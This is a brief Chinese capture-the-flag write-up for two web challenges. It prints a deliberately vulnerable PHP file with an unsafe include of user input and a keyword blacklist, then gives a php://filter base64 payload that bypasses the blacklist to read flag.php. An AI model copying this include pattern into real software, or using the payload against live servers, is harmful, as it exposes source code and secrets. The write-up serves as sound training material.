2.5 [极客大挑战 2019]Havefun&Secret File

Havefun

查看源代码

直接传参cat=dog,得到flag.

Secret File

通过查看源代码知道这个题目有三个文件:Archive_room.php action.php end.php
在这里通过访问:Archive_room.php会直接跳转到end.php,没有经过action.php。
访问action.php抓包查看,得到第四个文件secr3t.php 。

访问secr3t.php 得到源码:

1
2
3
4
5
6
7
8
9
10

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); //flag放在了flag.php里?>

通过分析这段代码没有过滤php伪协议:我们可以使用file来读取flag。
1
2

?file=php://filter/convert.base64-encode/resource=flag.php

得到flag:

#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×